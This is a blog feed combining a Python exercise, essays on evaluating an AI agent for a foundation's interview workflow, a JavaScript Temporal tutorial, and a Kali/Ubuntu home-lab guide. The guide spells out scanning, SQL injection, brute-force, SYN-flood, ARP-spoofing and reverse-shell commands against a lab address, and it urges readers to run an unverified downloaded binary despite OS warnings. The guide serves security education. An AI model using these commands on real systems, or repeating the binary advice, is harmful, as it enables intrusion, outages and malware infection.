
Try it yourself

You now have every piece for tools like these. Pick one and bend it:

Extend the change counter to hand back KSh 50 notes as well as KSh 100 notes, using another // and % step.
Change the profit calculator to ask for the fare, so it works for a route that charges KSh 60 or KSh 150.
Add a fourth rule to the departure call: if the road is blocked, tell the passengers and stop counting.

Then pick a small problem from your own week. Splitting a shopping bill, converting shillings to dollars and tracking your data bundle all follow the same steps: ask for input, convert it, calculate, and print the answer. Each program you finish teaches you more than another hour of reading.

How to Evaluate AI Agent with Benchmark in Practice?

Mon, 05 Oct 2026 10:33:26 +0000

Is your agent worth evaluating? If so, how much should you invest—and how do you ensure the evaluation actually serves the business?

1. Is Your Agent's Work Worth Evaluating Yet?

Many teams miss this fundamental question: does your agent actually need an evaluation right now?

When developers rush to find or build a benchmark, they often forget the first principle: evaluation is a means, not the goal. Measurement exists only to inform decisions, and decisions exist only to drive business outcomes.

Before building anything, ask yourself three questions:

Does the project have a well-defined objective? Without a clear definition of what success looks like, you cannot establish a meaningful evaluation framework.
Will the evaluation actually change your decisions? If the results won't alter your vendor selection, agent architecture, or cost structure, running the eval is pure theater.
Does the expected value of the decision outweigh the cost of running the eval? Constructing an eval requires time, curating data, tooling, and expert review. Scoping the evaluation appropriately is the key to economic viability.

Only after confirming the necessity of evaluation should you consider a benchmark.

A benchmark is simply one implementation mechanism—not the evaluation itself. You can gauge an agent's performance through A/B testing on live traffic, side-by-side human reviews, or by tracking downstream business metrics.

The goal of a benchmark isn't to look professional. Its true value is that it codifies the evaluation criteria, standardizes the test distribution, and allows repeatable, high-efficiency regression testing over time.

You only need a benchmark when:

You are comparing multiple candidate models, versions, or pipeline architectures.
You need continuous regression testing to detect silent capability degradation.
You need to verify whether the agent's real-world performance still matches pre-deployment baselines.

Prioritize evaluating capabilities that directly govern critical business decisions. You don't need to evaluate every single edge case; you only need to evaluate what impacts business value.

2. How Much Should You Invest in Evaluation?

Evaluation is an investment: trading bounded capital for decision confidence.

An evaluation result is never an absolute truth; it is simply a probabilistic judgment within a confidence interval. In practice, evaluations do not need to be perfect—they just need to be actionable. In the messy real world, ambiguous edge cases and imperfect ground truths are inevitable.

Even ImageNet—the landmark benchmark that revived deep learning (over 14 million annotated images, with 1.28 million in the ILSVRC contest set)—shattered its own illusion of perfection. While Fei-Fei Li's team reported a 99.7% precision in their 2009 random audit across 80 classes, subsequent research proved that noise is impossible to eliminate:

Mechanism Distortion: Google's ImageNet-ReaL (Beyer et al., 2020) revealed that real-world images frequently feature multiple objects. The original single-label constraint meant models were often penalized for detecting real, unlabeled objects.
Systemic Noise: NeurIPS 2021 research by Northcutt et al. confirmed that the ImageNet validation set contains at least 5.83% hard label errors (over 2,916 mislabeled samples out of 50,000, including dogs tagged as handbags).

If a foundational pillar of modern AI operates with 6% noise, you should not expect your internal business benchmarks to be flawless. You are not buying omniscience; you are buying directional clarity through the fog.

Evaluate your spend using a simple ROI lens:

Expected Net Value = (Δ Confidence × Δ Agent Performance × Marginal Business Value) − Eval Cost

An evaluation is only justifiable when the expected net return is clearly positive.

Keep in mind that capability improvements are rarely linear with business returns. A 10% jump in raw model performance might not move the needle on conversions at all. Conversely, in winner-take-all scenarios, a fractional bump in reliability can decide the entire product's survival.

3. Start with Real Workflow Data

In enterprise scenarios, a benchmark is a system design challenge, not just a dataset.

Raw workflow logs are the cheapest data to acquire, but the true value lies in the downstream cleaning, curation, and labeling. Every annotation represents an encoded human judgment. When we define a benchmark, we are essentially assembling an aggregate record of operational decisions.

How do you sustainably collect these judgments? Through domain experts, crowdsourcing, or implicit user feedback loops (much like how Google turned reCAPTCHA into a massive crowdsourced labeling engine). A robust benchmark cannot exist without the infrastructure that continuously feeds it.

A benchmark with compounding interest becomes a core business asset.

Building high-quality evaluation sets from real workflows drives agent performance, which improves user adoption and generates more downstream data. This self-reinforcing loop is the classic data flywheel.

Many teams mistakenly believe that simply hoarding data creates a flywheel. They miss the operational loop: building the evaluation system that guides model iterations, and verifying that those iterations actually drive business KPIs. Only with those two components in place does data compound.

However, a high benchmark score does not guarantee production adoption.

This was the most painful lesson from my own production rollouts: I conflated algorithmic precision with workflow success.

In a previous project for a non-profit, I built an agent pipeline featuring regional Chinese dialect ASR to transcribe interviews, summarize case notes, and automatically fill out reporting forms. We spent weeks carefully curating and labeling a pristine, gold-standard dataset, and the model's benchmark performance was stellar.

Yet, when we delivered the tool, our operations staff pushed back aggressively. In the PoC, we had required them to open a separate web portal, log in, and manually upload audio recordings. This single additional friction point severely disrupted their day.

After sitting down with the team, we realized their existing workflows lived entirely inside their daily work software. We pivoted: we embedded the agent silently into that same workflow, requiring zero behavior changes. Only then was the automation successfully adopted.

That experience taught me an indelible lesson: a massive chasm separates stellar eval metrics from seamless workflow integration.

Closing

Evaluation does not start by picking a benchmark off the shelf and grading your agent like a student.

It must begin with a genuine business decision: what is worth knowing, why do we need to know it now, and what is the cost of acquiring that certainty?

The real value of a benchmark is not proving how capable your agent is. It is bringing clarity, repeatability, and a shared language to your engineering and executive decisions.

Why Good Agent Evaluation Wasn’t Enough for Production

Mon, 05 Oct 2026 10:28:24 +0000

"They used it once and refused to touch it again."

When that feedback landed two weeks in, I could barely believe it. An agent validated against a benchmark built on real-world data had still failed to solve the foundation’s workflow problem.

Only in hindsight did I realize: I had evaluated the agent's processing capability, but I never evaluated whether volunteers could actually use it to get their job done.

1. Every House Has a Kitchen—Why Build a Community Canteen?

A friend working at a non-profit foundation once shared a story with me:

A rural village had poured resources into numerous senior welfare initiatives over the years, yet life satisfaction barely moved. What ultimately made a difference was building a communal canteen.

When the village head first heard the project proposal, he was deeply skeptical: Every single elderly household has its own kitchen. Why on earth do we need a village canteen?

Field visits later validated two straightforward reasons. First, cooking had simply become too physically taxing for the seniors—especially firing up a stove in the sweltering heat, which was pure misery. Second, beyond serving hot meals, the canteen at the village entrance created a regular venue for group interaction. It gave them a place to run into people and chat, directly addressing their need for social connection.

This counterintuitive, genuine need was surfaced by foundation staff and volunteers through round after round of authentic home-visit conversations with local seniors.

Their organization runs diverse programs nationwide. These projects rely on cohorts of short-term volunteers who pay regular visits to seniors across different age groups, speaking varied regional dialects. Those conversational touchpoints hold the richest, yet most frequently overlooked, context regarding the seniors' current living conditions and real needs.

While my friend had the foresight to archive these interview audio recordings, data collection still leaned entirely on volunteers manually filling out questionnaires.

That survey workflow was time-consuming and labor-intensive, making standardization difficult. More crucially, longitudinal insights—such as tracking changes in a senior's condition over time—rarely materialized.

Meanwhile, a lean foundation team couldn't realistically audit hours of raw audio by hand.

They needed a way to truly listen to these seniors at scale.

2. From an Audio File to an Auditable Interview Record

I realized the foundation didn’t need raw audio files; they needed reliable, verifiable interview records. That breakdown came down to three concrete requirements.

First: Accurate content transcription. Across these interviews, seniors speaking regional Chinese dialects was the baseline reality. This required a rigorous vendor evaluation for speech-to-text (STT).

I requested a small batch of authentic interview datasets. These were dialect-heavy recordings—each running over 30 minutes, spanning dozens of back-and-forth turns, with standard Mandarin and local dialects constantly interspersed. I benchmarked several speech recognition vendors that supported dialects against these files.

Evaluation was constrained to spot-checks by team members fluent in the respective dialects, paired with holistic context sanity checks. Through this filtering, I locked down our technical vendor and measured average transcription costs on real-world data.

Second: Accurate speaker identification. Listening closely to the tapes revealed messy, real-world conversational dynamics, typically involving multi-party conversations.

Volunteers often conducted visits in small teams. Meanwhile, the senior being interviewed was frequently surrounded by family members or neighbors chiming in. For instance, if an extraction pipeline relied purely on raw transcripts to log the senior's health updates, it could easily misattribute statements made by the spouse.

However, STT vendors supporting broad dialect coverage rarely offered out-of-the-box speaker identification. In our processing pipeline, we therefore had to run speaker identification on the raw audio of each segmented utterance, injecting speaker identity as a critical context layer.

Third: Grounded rationale extraction. The survey questions had to be answered strictly based on the interview dialogue, and many items had direct evidentiary clues scattered across the transcript.

My primary concern here was hallucination in the underlying LLM—specifically, downstream evaluative conclusions generated without factual backing.

I addressed this with a two-layer design: 1) Structurally, the workflow retained a human-in-the-loop review step for volunteers to verify answers. 2) Technically, in addition to outputting the structured form fields, the agent was forced to simultaneously extract the verbatim dialogue snippets serving as evidence.

This second design unlocked a standardized benchmark to score relevance between the model’s outputs and the source transcript, measuring precision and recall on evidence retrieval. While this doesn't offer an absolute algorithmic guarantee against hallucinations, it effectively benchmarked different model providers. It also enabled runtime quality checks on citation integrity in production, providing a reliable proxy for dialogue session health.

Anchored on these three core principles, I set out to hand-label the small sample of real interview data to stand up our benchmark.

Dialect testing was limited to spot-checking rather than turn-by-turn ground-truth matching, so the benchmark baseline assumed clean, pre-segmented utterances. I built a lightweight internal web tool to load this context, play back audio per utterance, and let me label speaker identities.

For the post-interview survey extraction, I created ground-truth annotations of verbatim evidence and corresponding answers across the sample cases. The evidence retrieval was cleanly testable with deterministic metrics, while answer accuracy was evaluated using an LLM-as-a-judge approach as a directional reference.

With this benchmark running, I vibe-coded an end-to-end web prototype and iterated through multiple testing loops. This involved refactoring the data processing pipeline, redesigning the web interface flow, and selecting key vendors—particularly balancing latency, accuracy, and operational cost.

Ultimately, the prototype reached a very usable level on the benchmark. The dataset was small, but I had reasonable confidence in the pipeline's output quality.

3. The Benchmark Looked Great. Why Did Volunteers Refuse to Use It?

The benchmark numbers gave me strong confidence in this build. I recorded a demo video for my friend, who was also impressed with the output. Within two days, he assigned a remote intern and the volunteer operations lead to pilot the tool in an upcoming regional field visit.

For the next few weeks, I repeatedly checked our dashboard, watching trial volunteers sign up and trigger runs. The counters showed tasks completing normally, and I convinced myself that the tool had solved the foundation's interview processing problem.

Two weeks later, my friend came back with the field report: the end-user experience was terrible. After testing it once, the frontline volunteers refused to touch it again.

I have to admit, when that feedback first came in, I found it hard to believe. With an evaluation backed by real-world audio showing strong results, the actual production experience should not have been so poor.

Where did it break?

I first synced with the intern, who insisted the product vision was completely spot-on and genuinely meaningful. We brainstormed a backlog of incremental feature optimizations. Then, pulled away by other priorities over the next few months, I let the project stall.

Later, my friend insisted on pushing this tool through to full deployment for ongoing volunteer operations. I joined one of their internal working sessions. That was when I realized the intern was working remotely; like me, he had limited visibility into the day-to-day work of frontline volunteers.

In that meeting, I finally spoke with the volunteer coordinator who had reported the poor experience. Listening to her describe the workflow, I caught the core friction point causing the backlash: for volunteers, the operational overhead had multiplied, while the perceived efficiency gain over their legacy process was negligible.

I asked her to walk me through their baseline workflow. They already had a standardized SOP for regional field teams: volunteers simply completed their onsite interview, uploaded the audio file, and manually filled out the survey form.

Volunteers executed this entire legacy flow on their phones via WeChat, simply tapping a Feishu web form link provided by headquarters.

My "solution," by contrast, required volunteers to open a third-party speech SaaS on desktop, register an account, pre-import questionnaire prompt templates, upload audio files turn-by-turn, and export the transcribed extraction as a CSV file.

It was an embarrassingly obvious failure mode. In retrospect, I struggled to understand how I missed such glaring workflow friction when the initial feedback came in.

It boils down to one reality: I wasn’t on the ground.

4. An Agent Only Works When It Disappears into the Existing Workflow

That feedback was useful because the source of the problem was clear.

A straightforward idea surfaced: How could I wire this benchmarked pipeline directly into the volunteers' existing workflow? Ideally, the integration would be completely invisible to them, dropping adoption friction to near zero.

I focused on Feishu, their existing workspace tool. Volunteers were already relying on its native file upload and survey forms for automated data collection. Digging into the platform capabilities, I found that Feishu supported custom workflows combining audio ingestion and LLM execution. I could rebuild the pipeline natively on top of their existing automation infrastructure.

I stood up the working prototype over a single weekend. It mirrored the exact audio submission entry point volunteers were already accustomed to, handling dialect transcription, speaker parsing, and grounded Q&A extraction entirely downstream.

The turnaround was immediate and stark.

The intern quickly grasped why our earlier disconnect from the operational context had derailed us. After reviewing the prototype architecture, he took over and built out the complete internal production implementation. He also spearheaded rollout validation across pilot regions, mapping the geographic distribution of elderly dialects to define the hard operating boundaries of the system. In regions speaking dialects beyond our coverage limits, the legacy manual workflow was kept intact.

Only then was the project truly in production use.

Whenever I look back at this case, I stay paranoid about one question: What are the actual measurement boundaries of the benchmark in front of me? And what is it failing to measure?

This experience didn't invalidate our benchmark. What it made painfully clear was that the benchmark answered a very narrow question: Given an audio file, can the agent generate an accurate, auditable interview record? What it completely failed to answer was: Can a volunteer, as an end user, complete their end-to-end task inside their existing workflow with less operational friction?

I now view the workflow itself as part of the evaluation, rather than just scoring raw model outputs. How input enters the system, how outputs are reviewed and submitted, and whether human users continue using the tool all help determine whether an agent delivers sustained real-world value.

Goodbye Date: Why JavaScript is finally getting dates right.

Mon, 05 Oct 2026 08:49:38 +0000

If you've written JavaScript for a while, you've probably fought with Date at some point. It's one of the oldest parts of the language, barely changed since 1995, and honestly, it shows. Let's look at why it causes so much pain and how the new Temporal API fixes it, with real, tested examples.

`Date` is mutable, and that bites people constantly.

Date objects can be changed in place. That sounds fine until you pass one around your app and something quietly changes it behind your back.

const meeting = new Date('2024-03-01');
const followUp = meeting;
followUp.setMonth(followUp.getMonth() + 1);

console.log(meeting.toDateString()); // "Mon Apr 01 2024" (wait, the original changed too)

You never touched meeting directly. But followUp is just a reference to the same object, so changing one changes both. This is a really easy mistake to make, and it tends to show up in bigger codebases where a date gets passed through a few layers of functions.

Adding months doesn't do what you'd expect.

const jan31 = new Date(2024, 0, 31); // Jan 31, 2024
jan31.setMonth(jan31.getMonth() + 1);

console.log(jan31.toDateString()); // "Sat Mar 02 2024" (not February at all)

February only has 29 days that year, so Date just overflows into March instead of clamping to the end of the month. If you're building anything with recurring billing or subscription renewals, this kind of bug is waiting for you, usually right around the 29th, 30th, or 31st.

Parsing strings is a bit of a gamble.

console.log(new Date('01/02/2024').toDateString());
// "Tue Jan 02 2024" (read as MM/DD/YYYY)

Is that January 2nd or February 1st? Depends on the browser, the locale, and the exact string. ISO strings like 2024-01-02 are safer, but plenty of real input in the wild isn't in ISO format, and Date doesn't give you a good way to say "parse this the way I mean."

It mixes up three different ideas.

Date treats these three things as if they were the same thing:

a calendar date, like "March 1st"
a wall-clock time, like "3:00 PM"
an exact moment in time, tied to a specific place

A birthday doesn't have a timezone. A 3 PM meeting only makes sense once you know whose 3 PM you mean. But under the hood, Date always stores a single number (milliseconds since the Unix epoch) and quietly converts through whatever timezone your machine happens to be running in. That's a pretty easy way to introduce a bug that only shows up once your app hits a server in a different timezone.

And speaking of timezones, Date doesn't really support them. You get UTC, and you get "whatever timezone this computer is set to," and nothing in between. Anything more than that means reaching for a library like luxon or date-fns-tz.

So what's Temporal?

Temporal is a modern date and time API for JavaScript, built to replace Date outright. It has officially reached TC39 Stage 4, making it a permanent part of the standard ECMAScript specification. It is now supported natively across major modern runtimes, including Chrome, Firefox, and Node.js. You can still ensure full cross-environment compatibility today by using production-ready packages like @js-temporal/polyfill.

The big idea is that instead of one object trying to be everything, you get separate types for separate concepts:

Temporal.PlainDate: just a calendar date, no time, no timezone
Temporal.PlainTime: just a time, no date
Temporal.PlainDateTime: date and time together, still no timezone
Temporal.ZonedDateTime: an exact moment, tied to a real timezone
Temporal.Instant: an exact moment on the UTC timeline
Temporal.Duration: a length of time, like "2 hours 30 minutes"

Let's see how this actually plays out.

It doesn't let you mutate by accident.

const meeting = Temporal.PlainDate.from('2024-03-01');
const followUp = meeting.add({ months: 1 });

console.log(meeting.toString());   // "2024-03-01" (untouched)
console.log(followUp.toString());  // "2024-04-01" (a brand new object)

add() always hands back a new value. The original is never touched, so there's nothing to accidentally break further down the call stack.

Month math actually makes sense.

const jan31 = Temporal.PlainDate.from('2024-01-31');
const nextMonth = jan31.add({ months: 1 });

console.log(nextMonth.toString()); // "2024-02-29"

Since February doesn't have a 31st, Temporal clamps to the last real day of that month instead of spilling over into March. (2024 is a leap year, so it lands on the 29th rather than the 28th, nice.)

Parsing is boring, in a good way.

Temporal only parses ISO 8601 by default, so there's no guessing between MM/DD and DD/MM:

const date = Temporal.PlainDate.from('2024-01-02');
console.log(date.toString()); // "2024-01-02" (always year-month-day)

If you need to handle something like "1 Feb 2024", you convert it explicitly yourself, rather than hoping the engine guesses right.

Timezones are handled properly, DST and all.

This is probably the best part. Here's a time in New York, right as Daylight Saving kicks in:

const beforeDST = Temporal.ZonedDateTime.from(
  '2024-03-10T01:30:00[America/New_York]'
);
console.log(beforeDST.toString());
// "2024-03-10T01:30:00-05:00[America/New_York]"

const oneHourLater = beforeDST.add({ hours: 1 });
console.log(oneHourLater.toString());
// "2024-03-10T03:30:00-04:00[America/New_York]"

A couple of things happen here: the offset flips from -05:00 to -04:00 on its own, and the clock jumps from 1:30 to 3:30 (a full two hours) because 2:00 to 2:59 simply doesn't exist that morning in New York. Temporal knows that and handles it correctly by default. With plain Date, getting this right takes careful manual offset math; here it just works.

Durations aren't an afterthought either.

const projectStart = Temporal.PlainDate.from('2024-06-01');
const projectEnd = Temporal.PlainDate.from('2024-06-15');

const span = projectStart.until(projectEnd);
console.log(span.days); // 14

const deadline = Temporal.Duration.from({ hours: 26 });
console.log(deadline.toString()); // "PT26H"

until() gives you back a real Duration object, and you can ask it for .days, .hours, or a total in whatever unit you want, no dividing by 86400000 by hand.

Should you actually use it right now?

Browser support is rolling out, but it's not everywhere yet, so for now you'll probably want the polyfill:

npm install @js-temporal/polyfill

import { Temporal } from '@js-temporal/polyfill';

Worth checking caniuse.com/temporal before you decide whether you need it for your target environment.

Bottom line

Date isn't going anywhere. It's too deeply baked into the platform to remove. But for new code, Temporal is just a better tool: it doesn't mutate behind your back, it's upfront about timezones, and it doesn't have the silent overflow bugs that have probably caused a production incident or two somewhere. If you've ever chased down a mystery bug involving a date that was off by a month or an hour, Temporal was built with exactly that headache in mind.

Keep building, keep vibing!

How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)

Thu, 01 Oct 2026 11:52:16 +0000

Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.

A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).

You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.

My name is Elijah Abolaji, and I developed this guide for educational purposes only.

⚠️ Legal & Ethical Ground Rules

Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.

Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.

Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done "just to learn." Keep this lab air-gapped from anything else.
️ Hardware Requirements

For a smooth-running lab, you'll need a computer with:

4-core processor

16GB RAM

SSD storage

Anything below this still works, but not efficiently.

️ Step 1: Install VirtualBox

Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.

Step 2: Download & Install Kali Linux (Attacker)

What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.

Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update && sudo apt full-upgrade -y

Step 3: Download & Install Ubuntu Server (Target)

Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM "Ubuntu-Target" (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.

Step 4: Building the Isolated Lab Network

This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.

In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20

Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.

Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.

Step 5: Reconnaissance & Scanning (from Kali)

Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).

Goal: Find out what's alive on the network and which ports/services are open before touching anything.
bash

Host discovery & port scanning

nmap 192.168.100.0/24 # scan the subnet
nmap -sn 192.168.100.0/24 # ping sweep
nmap -p- 192.168.100.20 # all 65535 ports
sudo nmap -sS 192.168.100.20 # SYN stealth scan

Service & OS detection

sudo nmap -A 192.168.100.20 # OS, version, scripts
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports
sudo nmap -O 192.168.100.20 # OS fingerprinting

Nmap Scripting Engine (NSE)

nmap --script vuln 192.168.100.20
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20
nmap -p 80 --script http-enum,http-headers 192.168.100.20

Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.
Step 6: Web Enumeration

Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.
bash

Directory brute-forcing

gobuster dir -u http://192.168.100.20 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://192.168.100.20 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Automated & manual scanning

nikto -h http://192.168.100.20 # automated vulnerability scanner
curl -i http://192.168.100.20 # view response headers
curl -X POST -d "id=1" http://192.168.100.20/vulnerable.php
burpsuite # launch the Burp Suite proxy (GUI)

Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.

Step 7: SQL Injection with SQLmap

Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.
bash

Basic usage

sqlmap -u "http://192.168.100.20/page.php?id=1" --batch
sqlmap -u "http://192.168.100.20/page.php?id=1" --dbs
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva --tables
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva -T users --dump

Using a captured request (with auth cookies)

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dwva -T users --dump

Advanced options

sqlmap -r request.txt --batch --level=5 --risk=3 # more thorough
sqlmap -r request.txt --batch --os-shell # attempt OS shell
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass

Step 8: Password Attacks

Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.
bash

Hydra - online brute force

hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

John the Ripper - offline cracking

john --wordlist=rockyou.txt hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hash.txt

Hashcat - GPU cracking

hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM

Tool Best for
Hydra Live login attempts against a running service (SSH, web forms)
John the Ripper Cracking a password hash you already have, CPU-based
Hashcat Cracking hashes fast using your GPU
Step 9: Denial of Service (DoS) Testing

Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.

Before you start: hping3 ships with Kali by default. Install anything missing:
bash

sudo apt install -y hping3 slowhttptest apache2-utils

bash

hping3 - flood attacks

sudo hping3 -S --flood -p 80 192.168.100.20
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20
sudo hping3 --udp --flood -p 80 192.168.100.20
sudo hping3 --icmp --flood 192.168.100.20

slowhttptest - application-layer

slowhttptest -B -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow POST
slowhttptest -R -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow Read

Apache Benchmark - load testing

ab -n 10000 -c 500 http://192.168.100.20/

hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds
️ Step 10: Sniffing & Man-in-the-Middle
bash

Packet capture

wireshark # packet capture GUI
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 port 80 -A
sudo tcpdump -i eth0 host 192.168.100.20

ARP spoofing & MITM frameworks

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

sudo ettercap -G # GUI
sudo bettercap -iface eth0

How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.
Step 11: Metasploit Framework

Goal: Move from "this service looks vulnerable" to an actual working exploit against the Ubuntu target, using a pre-built module.
bash

sudo msfconsole

Inside msfconsole:
bash

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.100.20
set USERNAME testuser
set PASSWORD password123
run

Reverse shell example:
bash

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.10
set LPORT 4444
run

Step 12: Snapshot Management (VBoxManage)

Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.
bash

VBoxManage list vms
VBoxManage snapshot "Kali" take "Snapshot-Name" --description "Description"
VBoxManage snapshot "Kali" list
VBoxManage snapshot "Kali" restore "Snapshot-Name"
VBoxManage snapshot "Kali" delete "Snapshot-Name"

VM power control

VBoxManage startvm "Kali" --type headless
VBoxManage controlvm "Kali" poweroff

⚙️ Part 2: Ubuntu Target Configuration

Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.
Network & Service Configuration
bash

Network configuration

ip a # check interfaces
sudo nano /etc/netplan/01-netcfg.yaml # static IP config
sudo netplan apply # apply changes
sudo netplan try # test, auto-rollback if it fails
ping -c 3 192.168.100.10 # verify Kali is reachable

Service management

sudo systemctl restart apache2
sudo systemctl restart ssh
sudo systemctl restart mariadb

sudo systemctl status apache2
sudo systemctl status ssh
sudo systemctl status mariadb

Check listening ports

ss -tlnp
sudo netstat -tlnp

SSH Server Setup
bash

Install & enable

sudo apt update
sudo apt install -y openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh

Create a test account & review config

sudo adduser testuser # for Hydra practice
sudo nano /etc/ssh/sshd_config

Key options to inspect:
text

PermitRootLogin no
PasswordAuthentication yes
Port 22

Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.

MariaDB / MySQL Setup

Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: http://target-ip/DVWA
bash

sudo mysql -u root

Inside MySQL:
sql

CREATE DATABASE dwva;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';
FLUSH PRIVILEGES;

SHOW DATABASES;
USE dwva;
SHOW TABLES;
SELECT * FROM users;
EXIT;

Step 13: Installing DVWA (Vulnerable Web App)

What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.

Install the LAMP stack plus git:
bash

sudo apt install -y apache2 \
mariadb-server php php-mysql \
php-gd libapache2-mod-php git

Clone DVWA from GitHub into Apache's web root:
bash

cd /var/www/html/
sudo git clone https://github.com/digininja/DVWA.git

Open permissions so DVWA can write its config:
bash

sudo chmod -R 777 /var/www/html/DVWA/

Copy the sample config and point it at your database:
bash

cd /var/www/html/DVWA/config/
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'

Access it: Open http://<Ubuntu-IP>/DVWA/setup.php from Kali's browser. Default login is admin / password. Set the security level to "low" while you're first learning each attack.
Step 14: Monitoring & Apache Hardening

Watching the target during an attack:
bash

top / htop # live resource usage
ss -tn state established '( sport = :80 )' | wc -l # count HTTP connections
sudo iftop -i enp0s3 # live network traffic
sudo tail -f /var/log/apache2/access.log # request log
ps aux | grep apache # process monitoring

Hardening Apache:
bash

sudo a2enmod reqtimeout
sudo a2enmod headers
sudo systemctl restart apache2

Sample hardening for /etc/apache2/apache2.conf:
text

Timeout 30
MaxRequestWorkers 150
KeepAliveTimeout 5

Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.
End Of Lab

Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.

If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:

https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.

This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.
About Me

I am a usual guy that likes technology. If you wish to know more about me, follow me:

LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse

Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.

I Migrated from Python Scrapers to Go and Search APIs - Complete Guide published: true

Thu, 01 Oct 2026 10:26:24 +0000

•Observation :
